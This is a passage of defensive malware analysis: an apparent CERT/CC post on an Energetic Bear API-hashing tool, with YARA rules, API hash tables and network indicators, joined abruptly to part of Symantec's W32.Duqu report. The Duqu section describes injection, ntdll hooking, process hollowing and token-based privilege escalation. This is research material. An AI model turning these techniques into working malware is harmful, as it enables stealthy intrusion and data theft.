The YARA rule represents the push of the API hash value (0x0038D13C), the push of the DLL base name hash value (0x000D4E88), and the call to manual_symbol_resolution. I used the YARA rule to discover an additional 36 potential exemplars. To discover these files, I used the CERT/CC's large archive of potentially malicious software artifacts called the Massive Analysis and Storage System (MASS). The MASS is a distributed system designed to download, process, analyze, and index terabytes of potentially malicious files on a daily basis.
```
rule api_hashes_2_call
{
strings:
$api_hashes_2_call = { 68 3C D1 38 00 68 88 4E 0D 00 E8 ?? ?? ?? ?? }
condition:
uint16(0) == 0x5a4d and $api_hashes_2_call
}
```
### Analyzed New Exemplars with Refined YARA Rule
I refined the YARA rule to further examine the potential 36 exemplars for the existence of the API hashing routine. I assumed that if additional exemplars contained the string variable from the YARA rule, then these exemplars should have the API hashing routine.
```
rule energetic_bear_api_hashing_tool {
meta:
description = "Energetic Bear - API Hashing"
assoc_report = "DHS Report TA17-293A"
author = "CERT RE Team"
version = "1"
strings:
$api_hash_func = { 8A 08 84 C9 74 0D 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }
$http_push = "X-mode: push" nocase
$http_pop = "X-mode: pop" nocase
condition:
$api_hash_func and (uint16(0) == 0x5a4d or $http_push or $http_pop)
}
```
Upon further analysis, I realized that some of the new exemplars did not alert with the YARA rule. I analyzed this subset of exemplars and discovered two slight variations in the API hashing routine. The first was an addition of one extra byte, while the second dealt with 64-bit files.
### Created a Tightly Scoped YARA Rule
I refined the YARA rule further to incorporate these two additional variations.
```
rule energetic_bear_api_hashing_tool {
meta:
description = "Energetic Bear API Hashing Tool"
assoc_report = "DHS Report TA17-293A"
author = "CERT RE Team"
version = "2"
strings:
$api_hash_func_v1 = { 8A 08 84 C9 74 ?? 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }
$api_hash_func_v2 = { 8A 08 84 C9 74 ?? 80 C9 60 01 CB C1 E3 01 03 44 24 14 EB EC }
$api_hash_func_x64 = { 8A 08 84 C9 74 ?? 80 C9 60 48 01 CB 48 C1 E3 01 48 03 45 20 EB EA }
$http_push = "X-mode: push" nocase
$http_pop = "X-mode: pop" nocase
condition:
$api_hash_func_v1 or $api_hash_func_v2 or $api_hash_func_x64 and (uint16(0) == 0x5a4d or $http_push or $http_pop)
}
```
This YARA rule could be refined further by combining the API hash routines into one string variable. However, when identifying new exemplars, I wanted to know which API hashing function was found in the exemplar.
### Discovered API Hashes Found in New Exemplars
I turned my attention to identifying the sll1Add routine API hash values found in all of the 37 exemplars. All exemplars had the sll1Add routine API hash values for functions from kernel32.dll.
```
Function Byte Value (big endian)
CreateThread 14 F3 0C 00
ExitProcess 6A BC 06 00
GetSystemDirectoryA E6 B2 9B 06
LoadLibraryA 86 57 0D 00
VirtualAlloc 42 31 0E 00
VirtualFree 8E 18 07 00
VirtualProtect 3C D1 38 00
```
Most of the exemplars had the sll1Add routine API hash values for functions from ws2_32.dll.
```
Function Byte Value (big endian)
WSAGetLastError 70 71 71 00
WSAStartup 14 93 03 00
connect 7C 67 00 00
recv C0 0C 00 00
send D8 0C 00 00
socket A4 36 00 00
```
There were a few outliers that had the sll1Add routine API hash values for functions from wininet.dll.
```
Function Byte Value (big endian)
HttpAddRequestHeadersA AE 57 5E 36
HttpEndRequestA DA 03 6D 00
HttpOpenRequestA DA BB DA 00
HttpQueryInfoA EE C3 36 00
HttpSendRequestA DA B3 DA 00
InternetCloseHandle 1A DE BB 06
InternetConnectA BA 7B D7 00
InternetOpenA 02 F0 1A 00
InternetOpenUrlA 52 87 D7 00
InternetReadFile 62 81 D7 00
InternetSetOptionA 82 28 5E 03
```
The API hashes indicate that these exemplars have potential network communications. I analyzed these exemplars to identify the network-based indicators of compromise (IOC). The use of two different DLLs for network communications points to the existence of at least two different versions of the API hashing tool. I identified 29 unique IP addresses, including private IP space and port pairings, from 33 of 37 exemplars.
The other 4 of 37 exemplars had a structured outbound POST request. For 2 of these 4, I captured the requests in a packet capture (pcap) using FakeNet. I had to infer the outbound POST request structure from strings for the remaining 2 exemplars.
```
POST / HTTP/1.1
X-mode: pop
X-id: 0x00000000,0x5547a48a
User-Agent: Mozilla
Host: 187.234.55.76:8080
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache
```
```
POST / HTTP/1.1
X-mode: pop
X-id: 0x00000000,0x5bc509c7
User-Agent: Mozilla
Host: 4.34.48.68:18443
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache
```
### Questioned Attribution
I attempted to identify other public reporting or research related to this Energetic Bear group API hashing tool. I did not identify any public reporting or research. Because of the link to the Energetic Bear group, I thought the exemplars could be a remote access Trojan (RAT), such as Havex, which is also attributed to this particular group. I discovered research by Veronica Valeros on A Study of RATs: Third Timeline Iteration. I contacted her directly and asked if she recalled any of the RATs she researched using an API hashing technique. She could not recall, but mentioned that it could have been missed because she was not explicitly looking for this technique. I used her research to attempt to identify RATs that use this API hashing technique. I was unable to identify any publicly reported RAT using this technique.
### Identified Future Work
This brings me to a couple outstanding questions:
- Why is this API hashing tool linked to the Energetic Bear group?
- Who actually wrote the YARA rule found in DHS Alert TA17-293A?
- Can the author of the YARA rule provide more insight into this problem?
I hope by publicly discussing this analysis that I can encourage information sharing and allow us, as a community, to engage in more detailed threat reporting. Lastly, I have reached out to the MITRE ATT&CK team to ask for an additional technique, API hashing, to be added to its framework. During my analysis, I could not find this explicit technique listed in the framework.
### Reported Results
I expanded the corpus of information from a trusted partner regarding DHS Alert TA17-293A. This information includes:
- A more concise YARA rule
- Additional exemplars
- Network IOCs (of which at least 2 different versions exist)
If the attribution and my research are correct, this may be the first publicly documented report of an API hashing technique being used by a nation state actor.
### Updates
**(May 3, 2019)**
I've worked with the MITRE Malware Attribute Enumeration and Characterization (MAEC) team to have API Hashing added to the Malware Behavior Catalog Matrix. You can find the API Hashing listed as a Method under Anti-Static Analysis--Executable Code Obfuscation.
**(March 27, 2019)**
The power of open source sharing has been positive. It was brought to my attention that this API hashing tool is related to Trojan.Heriplor from Symantec's Dragonfly: Westion energy sector targeted by sophisticated attack group report. The hash in Symantec's report is, in fact, one of the exemplars found. However, this specific API hashing technique isn't mentioned in their report. This corroboration does help to answer my own question from the Identified Future Work section. Symantec's Trojan.Heriplor analysis attributes my analysis of this API hashing tool to Energetic Bear. More importantly, this linkage also shows that this tool is still actively used.
### Appendix
**List of Clean DLL Files Used to Identify API Hashes**
- advapi32.dll
- advpack.dll
- avicap32.dll
- comctl32.dll
- comdlg32.dll
- gdi32.dll
- imagehlp.dll
- iertutil.dll
- IPHLPAPI.DLL
- kernel32.dll
- mpr.dll
- msvcrt.dll
- netapi32.dll
- ntdll.dll
- ntoskrnl.exe
- ole32.dll
- psapi.dll
- oleaut32.dll
- secur32.dll
- shell32.dll
- shlwapi.dll
- srvsvc.dll
- rlmon.dll
- user32.dll
- win32k.sys
- winhttp.dll
- wininet.dll
- winmm.dll
- wship6.dll
- ws2_32.dll
**Hashes of Exemplars**
- 2595c306f266d45d2ed7658d3aba9855f2b08682b771ca4dc0e4a47cb9015b64
- 9676bacb77e91d972c31b758f597f7a5e111c7a674bbf14c59ae06dd721d529d
- 1b17ce735512f3104557afe3becacd05ac802b2af79dab5bb1a7ac8d10dccffd
- b1ef39b2d0e26a23f59554ba4aecca8f266d6a69de1225d6b5c46828e06e9903
- 759445c7f68b55e90f23111c0e85d0da5456f2437e2360f4e808638d4c9020f7
- 8893b621b0bbbe8d29bd2cee70b5318b81deaadb42dda3c1a1a970fe0b54e781
- 1169853e30afd4fd2fbf34ef2c3028da6a81e9b6e1bd3bde077f13ad41e210de
- 5a9b65f9ed0758d11f74af9195fa3263a93bd1127e389c9ad920d585aee603ce
- 16e0188364ffcf738130436d08083306a52fe16bc45c2fbb3069d30a0de4995c
- 8c5bbff5875079cc553a296eae0f8b516eb03410c5a51fa9ffb0b98d13e3e489
- aeece7de386715cd187c23d8e6aef165c107183ca15ebec797c9c2c7f9b2782d
- 0851abdd2b96779a43bd6144b3de4a7274f70c4e72ed96c113237ddcc669d3d0
- 34f567b1661dacacbba0a7b8c9077c50554adb72185c945656accb9c4460119a
- 16a3ad20b7c702808d29afacd1bcac626963d7d7b21ba7d0ea4d85403331dab0
- b051a5997267a5d7fa8316005124f3506574807ab2b25b037086e2e971564291
- 12cc855139caed5256901d773c72a618e1cce730f7a47af91aa32541077b96a9
- 834e4560cec6deae11c378c47b4be806d4048868ee5315ba080fe11650a7c74d
- 58903fd6f2ecf56d0f90295d32c1ae29fe5250d3cf643ba2982257860b3f01a8
- a9982010eeff3d2dd90757f10298fb511aeb538def94236d73b45ae92b416a50
- addf1024d36d73bb22d2cfc8db78f118883de9e26092dde3f56605cf2436ef12
- 41395f0e1efc967fbd3ef2559f6307dd4dc331b1dd39ff9b0e239aeb83906555
- 689e8995e41a6484b1ff47edf0c0d2e9b660f1965d83836eb94610c6c4110066
- 064b5ff7890808b9c5ccdc2968fb7401c807a5a53132e6b1359ac46b2bec3c85
- c5d75c25ac791ccac327f5f68340a8cfd7f5640dd2614aef7c50af4f6f330d02
- c329462d39cdf794af1e4b5f2137a9141d9035932a4d64a99e3ce576219f337b
- 5d1c2e1be2360d9d58f87bc8131cbb1079813f08f93e7b5d627dd53758372e0d
- c51f70707baa65cb88a97f0ffb5a3664d9c62a37e61909bd7710ecd6a2de59e7
- 1fde10b6ddf54b8740394ead7005126825e1c79617ed771f9f6d20b4aa56782f
- c3a5251642fbfcf5a1dc6c91b32e4f37dde5b9bbf50ba3242e780a21c5af3989
- 600637f424dbcfab99e0aec4397930df9f21f4eff880de8410e68098323d29fd
- a9507f96c8730e7dc9b504087c89dece5042e01d931a6f9e0ca72fcdd7d8e57f
- 16ee4abb23abf28cdce01413fd9bf01ff5e674d8bc97ddf09114b183ac14d2ac
- ce8e9241ede7f74ce6c4f21acd5617a96e15be0cae0d543934ab297bfe1f7666
- eb16465b4f8f876aa85001a6333f1175c2a20a1642d49f3179b451d26ae7d541
- 6ca195ee197105a20daf7179d72624a55aff9b4efeff7a1dfc207d8da6135de9
- 1246d8e86ffd2235bbd9cc9d8c32c3fbd19ede23d8f9f2ad8e58c19ef971c0d2
- c3449091b487f77cac165db9c69fbb430bf61b1787846f351cc15b46df83ee69
**Identified Network Communications (Deduplicated)**
| IP Address | Port |
|---------------------|--------|
| 187.234.55.76 | 8080 |
| 4.34.48.68 | 18443 |
| 78.38.244.10 | 25 |
| 160.211.55.3 | 5555 |
| 160.0.70.36 | 5555 |
| 87.98.212.8 | 80 |
| 143.248.95.119 | 55555 |
| 69.196.157.195 | 80 |
| 8.8.8.8 | 443 |
| 143.248.222.15 | 55555 |
| 121.200.62.194 | 8443 |
| 80.255.10.235 | 80 |
| 78.47.114.3 | 443 |
| 192.9.226.2 | 5555 |
| 172.22.2.16 | 50001 |
| 127.0.0.1 | 5555 |
| 192.168.1.49 | 25 |
| 192.168.50.8 | 5555 |
| 192.168.56.1 | 5555 |
| 192.168.100.153 | 2222 |
| 192.168.100.20 | 9999 |
| 10.201.56.136 | 25 |
| 192.168.1.49 | 25 |
| 192.168.231.1 | 5555 |
| No IP Address | 5555 |
| 192.168.19.134 | 1337 |
| 172.16.214.1 | 5555 |
| 172.24.8.41 | 25 |
| 192.168.100.45 | No port| |
# Security Response: W32.Duqu
## The precursor to the next Stuxnet
### Version 1.3 (November 1, 2011)
## Executive Summary
On October 14, 2011, we were alerted to a sample by the Laboratory of Cryptography and System Security (CrySyS) at Budapest University of Technology and Economics. The threat appeared very similar to the Stuxnet worm from June of 2010. CrySyS named the threat Duqu [dyü-kyü] because it creates files with the file name prefix “~DQ”. The research lab provided their detailed initial report to us, which we have added as an appendix. The threat was recovered by CrySyS from an organization based in Europe and has since been found in numerous countries. We have confirmed W32.Duqu is a threat nearly identical to Stuxnet, but with a completely different purpose. Duqu is essentially the precursor to a future Stuxnet-like attack. The threat was written by the same authors, or those that have access to the Stuxnet source code, and the recovered samples have been created after the last-discovered version of Stuxnet. Duqu’s purpose is to gather intelligence data and assets from entities such as industrial infrastructure and system manufacturers, amongst others not in the industrial sector, in order to more easily conduct a future attack against another third party. The attackers are looking for information such as design documents that could help them mount a future attack on various industries, including industrial control system facilities.
Duqu does not contain any code related to industrial control systems and is primarily a remote access Trojan (RAT). The threat does not self-replicate. Our telemetry shows the threat has been highly targeted toward a limited number of organizations for their specific assets. However, it’s possible that other attacks are being conducted against other organizations in a similar manner with currently undetected variants.
In one case, the attackers used a specifically targeted email with a Microsoft Word document. The Word document contained a currently undisclosed 0-day kernel exploit that was able to install Duqu. It is unknown whether the attackers used the same methodology and the same 0-day in other cases. More information regarding the 0-day will be released when the issue has been patched.
The attackers used Duqu to install another infostealer that can record keystrokes and collect other system information. The attackers were searching for information assets that could be used in a future attack. In one case, the attackers did not appear to successfully exfiltrate any sensitive data, but details are not available on all cases.
Two variants were initially recovered and, in reviewing our archive of submissions, the first recording of an attack occurred in early August. However, based on file-compilation times, attacks using these variants may have been conducted as early as November 2010. Additional variants were created as recently as October 17, 2011, and new payload modules downloaded October 18, 2011. Thus, at the time of discovery, the attackers were still active.
At the time of writing, Duqu infections have been confirmed in eight countries, and unconfirmed reports exist in an additional four countries. Duqu consists of a driver file, a DLL (that contains many embedded files), and a configuration file. These files must be installed by another executable—the installer. The installer registers the driver file as a service so it starts at system initialization. The driver then injects the main DLL into services.exe. From here, the main DLL begins extracting other components and these components are injected into other processes. This process injection hides Duqu’s activities and may allow certain behaviors to bypass some security products.
One of the variant’s driver files was signed with a valid digital certificate that expires on August 2, 2012. The digital certificate belongs to a company headquartered in Taipei, Taiwan, and was revoked on October 14, 2011. The private keys used to generate the certificate were stolen from the company. Having a legitimate certificate allows Duqu to bypass default restrictions on unknown drivers and common security policies.
Duqu uses HTTP and HTTPS to communicate to a command and control (C&C) server at 206.183.111.97, which is hosted in India, and 77.241.93.160 hosted in Belgium. Both of these IPs are inactive. To date, these are the only C&C server IPs encountered and are reliable indicators of Duqu activity on a network. Additional diagnostic procedures can be found in the appendix. Duqu also has proxy-aware routines, but these do not appear to be used by default.
Through the command and control server, the attackers were able to download additional executables, including an infostealer that can perform actions such as enumerating the network, recording keystrokes, and gathering system information. The information is logged to a lightly encrypted and compressed local file, and then must be exfiltrated out. In addition to this infostealer, three more DLLs that queried for additional basic system information were pushed out by the C&C server on October 18.
The threat uses a custom command and control protocol, primarily downloading or uploading what appear to be .jpg files. However, in addition to transferring dummy .jpg files, additional encrypted data is appended to the .jpg file for exfiltration, and likewise received. The use of the .jpg files is simply to obfuscate network transmissions. The threat does not self-replicate, but based on forensic analysis of compromised computers, the threat was instructed, likely using the C&C server, to replicate through network shares to additional computers on the network.
A non-default configuration file was created for those infections, instructing the threat to not use the external C&C server, but instead use a peer-to-peer C&C model. In these cases, the newly compromised computer is instructed to communicate with the infecting computer, which proxies all the C&C traffic back to the external C&C server. Using a peer-to-peer C&C model allows the threat to access computers that may not be connected directly to the external Internet and also avoid the detection of potentially suspicious external traffic from multiple computers.
Finally, the threat is configured to run for 30 days by default. After 30 days, the threat will automatically remove itself from the system. However, Duqu has downloaded additional components that can extend the number of days. Thus, if the attackers are discovered and they lose the ability to control compromised computers (for example, if the C&C servers are shut down), the infections will eventually automatically remove themselves, preventing possible discovery.
Duqu shares a great deal of code with Stuxnet; however, the payload is completely different. Instead of a payload designed to sabotage an industrial control system, it has been replaced with general remote access capabilities. The creators of Duqu had access to the source code of Stuxnet, not just the Stuxnet binaries. The attackers intend to use this capability to gather intelligence from a private entity that may aid future attacks on a third party. While suspected, no similar precursor files have been recovered that date prior to the Stuxnet attacks.
CrySyS, the original research lab that discovered this threat, has also allowed us to include their detailed initial report, which is included as an appendix.
## Infection Statistics
### Geographic Distribution
At the time of writing, Duqu infections have been confirmed in six organizations in eight countries. The confirmed six organizations include:
- Organization A—France, Netherlands, Switzerland, Ukraine
- Organization B—India
- Organization C—Iran
- Organization D—Iran
- Organization E—Sudan
- Organization F—Vietnam
Note some organizations are only traceable back to an ISP and thus, all six may not be distinct organizations. Other security vendors have reported infections in:
- Austria
- Hungary
- Indonesia
- United Kingdom
- Iran (Infections different from those observed by Symantec.)
### File History
Duqu has three files: a driver, a main DLL, and an encrypted configuration file that contains the time the infection occurred. Inside the main DLL is a resource numbered 302, which is actually another DLL. Two Duqu variants were recovered in our initial investigation. Additional variants have since been recovered. Functional differences between variants are minor. Primarily, the names of registry keys and files used are different and unnecessary code has been removed. Additional analysis of variant differences is discussed in the Variants section.
| Variant | Driver | Main DLL | Configuration File |
|---------|--------|----------|--------------------|
| Variant 1 | jminet7.sys | netp191.PNF | netp192.pnf |
| Variant 2 | cmi4 432.sys | cmi4 432.pnf | cmi4 464.pnf |
| Variant 3 | nfred965.sys | | netf2.pnf |
| Variant 4 | nfred965.sys | | netf2.PNF |
| Variant 5 | nfred965.sys | netf1.PNF | netf2.PNF |
| Variant 6 | nred961.sys | | |
| Variant 7 | adp55xx.sys | | |
| Variant 8 | adpu321.sys | | |
| Variant 9 | iaStor451.sys | | |
| Variant 10 | allide1.sys | iddr021.pnf | |
| Variant 11 | iraid18.sys | ird182.pnf | |
| Variant 12 | noname.sys | | |
| Variant 13 | igdkmd16b.sys | | |
| Variant 14 | igdkmd16b.sys | netq795.pnf | |
Additional files, listed in table 2, were downloaded by the command and control server and injected into processes for execution or saved as temporary filenames.
| MD5 | Compile Time | Purpose |
|-----|--------------|---------|
| 9749d38ae9b9ddd81b50aad679ee87ec | Wed Jun 01, 03:25:18 2011 | Stealing information |
| 4c804ef67168e90da2c3da58b60c3d16 | Mon Oct 17 17:07:47 2011 | Reconnaissance module |
| 856a13fcae04 07d83499fc9c3dd791ba | Mon Oct 17 16:26:09 2011 | Lifespan extender |
| 92aa68425401ffedcfba4235584ad487 | Tue Aug 09 21:37:39 2011 | Stealing information |
Based on the compile times, we can derive a history of the variants and additional downloaded modules. Variant 1 was the earliest variant recovered. In particular, variant 1 may have been used in a separate attack as early as December 2010 and based on this incident we know it was still being used in August 2011. Variant 2 was developed later, and clearly used the same components as variant 1. However, the driver was signed and the main payload was updated in July 2011. Only two major driver variants exist: the first compiled in November 2010, followed by an update on October 17, 2011, demonstrating activity by the attackers even after the public disclosure on Duqu.
Finally, the infostealer appears to have been first created along the same timeframe, in June 2011. The most recent variant was created on October 17, prior to the server being shut down. Two of the additional DLLs pushed from the C&C were compiled hours before this sample. Note that the recovered Stuxnet files date between June 2009 and March 2010 and therefore date prior to the first development of these variants.
## Technical Analysis
### Installation
In one case, Duqu arrived at the target using a specially crafted Microsoft Word document. The Word document contained a currently undisclosed 0-day kernel exploit that allows the attackers to install Duqu onto the computer unbeknownst to the user.
The full installation process for Duqu is quite involved and lengthy. To illustrate the installation process as simply as possible, it can be divided into two parts: the exploit shellcode and the installer.
#### Exploit Shellcode
The vulnerability details are currently undisclosed due to the current unavailability of a patch. Future versions of this paper will include the details related to the vulnerability. When the Word document is opened, the exploit is triggered. The exploit contains kernel mode shellcode, which will first check if the computer is already compromised by looking for the registry value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\“CFID”. If the computer has already been compromised, the shellcode gracefully exits.
If the computer has not been infected, the shellcode decrypts two executable files from within the Word document: a driver file and installer DLL. The shellcode then passes execution to the extracted driver file, which injects code into services.exe, as defined by the installer configuration file. The code then executes the installer DLL. Finally, the shellcode will replace itself with zeros, wiping itself from memory.
#### Installer
Once the driver file has passed control to the installer DLL, the installer proceeds to decrypt three files from within itself: Duqu’s main DLL, a .sys driver file that is the load point that starts Duqu after a reboot, and an installer configuration file. The main DLL and driver file are the only components that will be left on the system after installation has completed, along with a different configuration file discussed later.
The installer configuration file has two timestamps inside representing the timeframe window for installation. In the sample received, the timeframe was eight days. The installer will terminate if executed outside this time window. If the date falls within the timeframe, the installer DLL then passes execution to Duqu’s main DLL by hooking ntdll.dll in the same manner as Stuxnet. Installation continues from inside Duqu’s main DLL.
The main DLL component has eight exports. The installation is handled by exports 4 and 5. Additional export functionality is discussed in the Main DLL section. Export 4 is responsible for finding an appropriate process to inject into, injecting the main DLL (itself) into this process and passing along a pointer to the three decrypted files. Export 5 is the actual installation routine. Export 5 drops the load point driver into the %System%\Drivers\ folder with a name defined by the installation configuration file. Next, a service is created so the driver is loaded every time Windows starts.
The main DLL is encrypted and placed in the %Windir%\inf\ folder with a name defined by the installation configuration file. This file will be decrypted and executed by the driver when the computer starts. The final step of the installation phase involves the main DLL reading a configuration file from within itself, encrypting it, and placing it in the %Windir%\inf\ folder as well.
When the installation phase is completed, there are just three files left on the disk: the driver, the encrypted main DLL (which will be decrypted by the driver), and the encrypted main DLL configuration file. The entire installation process is quite involved. During the process, seven different files are decrypted, at least three processes are injected into, and ntdll.dll is hooked multiple times to allow dynamic loading of decrypted components into memory. In fact, during the entire process every part of Duqu resides decrypted only in memory. Only one unencrypted file, the load-point driver, is ever written to the disk during the entire process. Duqu was clearly designed to minimize detectable footprints left on the disk.
### Installed Component Architecture
The threat begins execution at system start through a registered driver (e.g., JMINE T7.SYS or CMI4 432.SYS). The driver file injects the main DLL (e.g., NETP191.PNF or CMI4 432.PNF) into services.exe. Using the configuration file (e.g., NETP192.PNF or CMI4 464.PNF), the main DLL extracts an embedded file: resource 302. Resource 302 is a DLL that contains another embedded section (.zdata) that contains the main functionality of the threat.
Note that another executable (the installer) must have created the driver, the configuration file, and the main DLL, as well as registered the driver as a service. The remaining parts of this document will discuss the JMINE T7/NETP191 variant (variant 1) in terms of the separate sections, and enumerate the minor differences between this and variant 2.
### Load Point (JMINET7.SYS)
The purpose of the driver is to activate the threat at system start. The driver is defined as a service with the name and display name of “JmiNET3” under the following registry subkey:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\JmiNET3
The driver is loaded at kernel initialization (Start Type = 1) and is responsible for injecting the main DLL (NETP191.PNF) into a specified process. The process name to inject into, and the DLL file path that should be injected, are located in the following registry subkey:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\JmiNET3\FILTER
The data held within the registry subkeys are encrypted. Once decrypted, the data has the following format:
DWORD control[4]
DWORD encryption_key
DWORD sizeof_processname
BYTE processname[sizeof_processname]
DWORD sizeof_dllpath
BYTE dllpath[sizeof_dllpath]
Note the encryption_key field. The DLL is encrypted on the disk and is decrypted using this key before it is injected into other processes. The encryption uses a simple multiplication rolling key scheme. By default, the main DLL is located at %SystemDrive%\inf\netp191.pnf and the injected process is services.exe.
The driver will ensure the system is not in Safe Mode and no debuggers are running. The driver then registers a DriverReinitializationRoutine and calls itself (up to 200 times) until it is able to detect the presence of the HAL. The driver injects the DLL by registering a callback with PsSetLoadImageNotifyRoutine. PsSetLoadImageNotifyRoutine will execute the callback any time an image, such as a DLL or EXE, is loaded and prior to execution.
If the image loaded is KERNEL32.DLL, the driver will get the addresses of relevant APIs by comparing the hashes of their name to a predefined list. If the image matches services.exe, the driver will inject some trampoline code that contains the API addresses along with the DLL. The entry point will then be modified to point to the trampoline code. As part of its operation, JMINE T7.SYS will also create two devices:
\DEVICE\Gpd1
\DEVICE\{3093AAZ3-1092-2929-9391}
JMINE T7.SYS is functionally equivalent and almost a binary match to MRXCLS.SYS from Stuxnet.
### Main DLL (NETP191.PNF)
NETP191.PNF is the main executable that will load all the other components. NETP191.PNF contains the payload DLL in resource 302 and an encrypted configuration data block. The NETP191.PNF DLL contains eight exports, named by number. These exports will extract resource 302, which loads the primary payload of the threat. The exports are as follows:
1. Initialize the data
2. Run export number 6
3. Get the version information from the configuration data
4. Inject itself into a suitable process and run export 5 (only if on a 32-bit platform)
5. System setup
- Pre-install: Drop the provided load-point driver and create service
- Post-install: Load the resource 302 DLL (resource 302 is a loader for the main payload)
6. Cleanup routine
7. Start the RPC component
8. The same as export 1, but with a delay timer
When executed, NETP191.PNF decrypts the configuration data stored in netp192.pnf. A “lifetime” value in the configuration data is checked. If the sample has been running for more than 30 days, then export number 2 is called. Export 2 calls export 6, which is the cleanup routine. This routine removes traces of the threat from the compromised computer. If the threat has been running for less than 30 days, then it continues to function. The 30-day lifetime check can be extended by the Duqu attackers.
The threat may then check if it is connected to the Internet by performing a DNS lookup for a domain stored in the configuration data (in this instance the domain is microsoft.com). If this fails, an additional DNS lookup is performed on kasperskychk.dyndns.org. The threat expects this domain to resolve to 68.132.129.18, but it is not currently registered. This behavior does not occur by default.
NETP191.PNF will then inject itself into one of four processes:
- explorer.exe
- iexplore.exe
- firefox.exe
- pccntmon.exe
The RPC component is only intended for local use and makes seven functions available:
- Get the version information from the configuration data
- Load a module and run the export
- Load a module
- Create a process
- Read a file
- Write a file
- Delete a file
Of these exported functions, Duqu only uses the first three in order to load and execute the embedded resource 302. This RPC component is identical to Stuxnet’s RPC component. In addition, the DLL can scan for and attempt to disable a variety of security products.
### Payload Loader (Resource 302)
This DLL file is contained within the main DLL, NETP191.PNF. Resource 302 is a loader program. It can load the payload into memory and execute it in several different ways. The payload is included in the .zdata section of resource 302. The .zdata section is compressed and consists of the payload DLL, a configuration file containing C&C information, and a second DLL, which contains similar code to that found at the start of resource 302 itself.
The main function of resource 302 is to load a file into memory. Which file to load is not configurable, but instead is hardcoded into the payload file that is stored in the .zdata section. We refer to this main function as LoadFile. Note that functionality also exists to allow the loading of a direct memory buffer, but is not utilized. LoadFile can be called as follows:
LoadFile(LoadMethod, ProcessName, String);
Where:
- LoadMethod is a number from zero to three that specifies the loading technique to use (discussed below).
- ProcessName is a preferred name to use for the newly loaded file.
- A string that can be passed into resource 302 (normally this is set to 0).
Summary of the LoadMethod 0 – 3:
- 0: Hook Ntdll and call LoadLibrary with the parameter sort[RAND].nls. This file does not actually exist.
- 1: Use a template .exe file to load the payload DLL by creating the executable process in suspended mode and then resuming execution.
- 2: Use CreateProcessAsUser to execute the template executable and elevate privileges as needed.
- 3: Attempt to use an existing process name for the template executable and elevate privileges.
### Exports
Resource 302 has 12 exports. The majority of these exports call the LoadFile function, though each export calls it with different hardcoded parameters:
- Export 1: LoadFile(0, 0, 0)
- Export 2: LoadFile(1, 0, 0)
- Export 4: LoadFile(1, 0, 0)
- Export 5: LoadFile(1, 0, 0)
- Export 7: LoadFile(1, 0, arg 0)
- Export 10: LoadFile(3, “iexplore.exe”, 0)
- Export 11: LoadFile(3, “explorer.exe”, 0)
- Export 12: LoadFile(2, “explorer.exe”, 0)
- Export 13: Run in svchost
- Export 14: Load the second DLL in the .zdata section, and call export 16
- Export 15: LoadFile(3, “svchost.exe”, 0)
- Export 16: Inject payload in the default browser and elevate privileges
### Loading Techniques
**Method 0**
This method of loading involves reading ntdll.dll from memory and hooking the following functions:
- ZwQueryAttributesFile
- ZwCloseFile
- ZwOpen
- ZwMapViewOfSection
- ZwCreateSection
- ZwQuerySection
These functions are replaced with new functions that monitor for the file name sort[RAND].nls. When LoadLibrary is called with that file name, these replacement functions that are called by LoadLibrary will load the DLL from a buffer in memory, rather than from the disk. In this way, the payload can be loaded like a regular file on disk, even though it does not exist on the disk (when searching for the file, it will not be found). This routine is similar to a routine used by Stuxnet.
**Method 1**
Using this method, a template executable is decoded from inside the loader. The template is an executable that will load a DLL from a buffer and call a specified export from the loaded DLL. The loader populates the template with the correct memory offsets so that it can find the payload and launch it. A chosen process is overwritten (it can be one of a list of processes, the default name is svchost.exe). The chosen process is created in suspended mode and then is overwritten with the template executable. Then the process is resumed and the template runs, loading the DLL and executing the specified export under the name of a legitimate process. This routine is also similar to the one used in Stuxnet.
**Method 2**
This method is similar to Method 1, using the template-loading technique. However, Method 2 attempts to elevate privileges before executing the template executable. It can use several different techniques to do this. First, it attempts to gain the following privileges:
- “SeDebugPrivilege”
- “SeAssignPrimaryTokenPrivilege”
- “SeCreateTokenPrivilege”
If this is sufficient, the threat uses these to create the template process, as in Method 1. If the threat still does not have sufficient access, then it will call the following APIs to try to elevate its privileges further:
- GetKernelObjectSecurity
- GetSecurityDescriptorDACL
- BuildExplicitAccessWithName
- MakeAbsoluteSD
- SetEntriesInACLW
- SetSecurityDescriptorDACL
- SetKernelObjectSecurity
If it is able to create the process after this, it proceeds. Otherwise, it will try to gain the following privileges:
- “SeTcbPrivilege”
- “SeAssignPrimaryTokenPrivilege”
- “SeIncreaseQuotaPrivilege”
- “SeImpersonatePrivilege”
Then the threat attempts to duplicate a token before using that token in a call to CreateProcessAsUser.
**Method 3**
This method must be supplied by a process name that is already running. This method also uses the template executable to execute the payload DLL and will try to use the last technique (mentioned above) to elevate privileges also.
### .zdata Section
The .zdata section is compressed and consists of three files and a header that points to each file. When the resource is decompressed, it is byte-for-byte identical to the data that is in resource 302 of CMI4 432.PNF, the second variant. The resource in CMI4 432.PNF is not an MZ file; it is simply the raw data stored in the resource.
The beginning of the decompressed .zdata section is shown below. The first DWORD (shown in red) is a magic value to denote the start of the index block. The next DWORD (shown in red) is the offset to the MZ file. The offset is 00009624 (you can see that the next portion marked in red is an MZ file and it is at offset 9624). This is how the loader file finds the payload DLL in the .zdata section. It reads the 24-byte index block, which lets the loader know the offset and size of the various files stored in the decompressed .zdata section.
### Payload (.zdata DLL)
The .zdata section contains the final payload DLL and its associated configuration data. The .zdata payload DLL is decompressed and loaded by the resource 302 DLL, the payload loader. The purpose of the .zdata DLL is command and control functionality, which appears to allow downloading and executing updates. However, since portions of the command and control analysis are still underway, other functionality may exist.
The command and control protocol uses HTTPS and HTTP. SMB command and control channel functionality also exists for peer-to-peer command and control, but is not used by default. To function properly, it expects a blob of data (.zdata) with the following structure:
```
00000000 config_res302 struc ; (sizeof=0x24)
00000000 magic dd ?
00000004 main ofs_size ?
0000000C config ofs_size ?
00000014 template ofs_size ?
0000001C null ofs_size ?
00000024 config_res302 ends
```
